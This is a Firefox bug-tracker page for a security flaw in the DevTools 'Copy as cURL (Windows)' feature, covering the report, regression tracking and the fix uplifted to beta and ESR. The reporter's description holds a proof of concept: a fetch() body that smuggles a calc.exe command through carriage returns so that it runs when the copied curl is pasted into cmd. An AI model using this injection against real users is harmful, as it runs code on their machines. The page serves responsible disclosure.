Copy As Curl[Windows] - Code Execution [Return ie \r in request body]
Categories
(DevTools :: Netmonitor, defect, P2)
Tracking
(firefox-esr115 wontfix, firefox-esr128141+ fixed, firefox-esr140141+ fixed, firefox139 wontfix, firefox140 wontfix, firefox141+ fixed, firefox142+ fixed)
People
(Reporter: ameenbasha111, Assigned: bomsy)
References
(Blocks 1 open bug, Regression)
Details
(Keywords: regression, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main141+][adv-ESR140.1+][adv-ESR128.13+])
Attachments
(4 files, 4 obsolete files)
HI Team, Firefox nightly latest on windows vulnerable for code execution via copy as curl (windows) which allows the attacker to execute code on victims machine
Tested in Nightly Latest 140.0a1 (2025-05-24) (64-bit)
fetch("/", {
"credentials": "omit",
"headers": {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
"body": "\rcalc.exe \r",
"method": "POST",
});
Steps to reproduce
- Send the above request directly via console (or) embed it in html
- Now from network tab copy the request as curl (windows)
- paste it in cmd and you can find the calc popup
rootcause \r wasn't filtered properly
I have reported the same to chrome and the issue was fixed now i have attached the changeset below, we can adopt the same here too
https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/6573473/2/front_end/panels/network/NetworkLogView.ts
I have attached the poc video for reference
Updated•9 months ago
|
Updated•9 months ago
|
Comment 1•9 months ago
|
||
Nicolas can you check if it's a regression from the recent fix on this feature?
Comment 2•9 months ago
|
||
(In reply to Julian Descottes [:jdescottes] from comment #1)
Nicolas can you check if it's a regression from the recent fix on this feature?
regressed by Bug 1950001
Comment 3•9 months ago
|
||
Set release status flags based on info from the regressing bug 1950001
:bomsy, since you are the author of the regressor, bug 1950001, could you take a look?
For more information, please visit BugBot documentation.
Updated•9 months ago
|
Updated•9 months ago
|
| Reporter | ||
Comment 4•9 months ago
|
||
Hi :bomsy can you look into this case? i have shared the chrome changeset for this issue in the description.
| Reporter | ||
Comment 5•8 months ago
|
||
Hi Bomsy Friendly Ping, Any update on this case.
Updated•8 months ago
|
| Assignee | ||
Comment 6•8 months ago
|
||
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Updated•8 months ago
|
| Reporter | ||
Comment 7•8 months ago
|
||
Team any update on this case?
| Reporter | ||
Comment 8•8 months ago
|
||
Seems the fix is accepted, can we move this issue to closed team
Comment 10•8 months ago
|
||
Comment 11•8 months ago
|
||
Backed out for causing dt failures @browser_net_curl-utils.js.
Comment 12•8 months ago
|
||
| Assignee | ||
Updated•8 months ago
|
Comment 13•8 months ago
|
||
Comment 14•8 months ago
|
||
The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox141towontfix.
For more information, please visit BugBot documentation.
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Comment 15•8 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D254323
Updated•8 months ago
|
Comment 16•8 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Broken escape of the curl on windows command
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing: None
- Risk associated with taking this patch: small js fix
- Explanation of risk level: Low risk
- String changes made/needed: None
- Is Android affected?: no
| Assignee | ||
Updated•8 months ago
|
Comment 17•8 months ago
|
||
Bomsy, we will need uplift requests for ESR branches as well, thanks.
| Assignee | ||
Comment 18•8 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D254323
Updated•8 months ago
|
| Assignee | ||
Comment 19•8 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D254323
Updated•8 months ago
|
| Assignee | ||
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Comment 20•8 months ago
|
||
| uplift | ||
Comment 21•8 months ago
|
||
| uplift | ||
Comment 22•8 months ago
|
||
| uplift | ||
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Comment 23•8 months ago
|
||
Updated•8 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 24•7 months ago
|
||
Comment 25•7 months ago
|
||
Comment 26•7 months ago
|
||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Updated•2 months ago
|
Description
•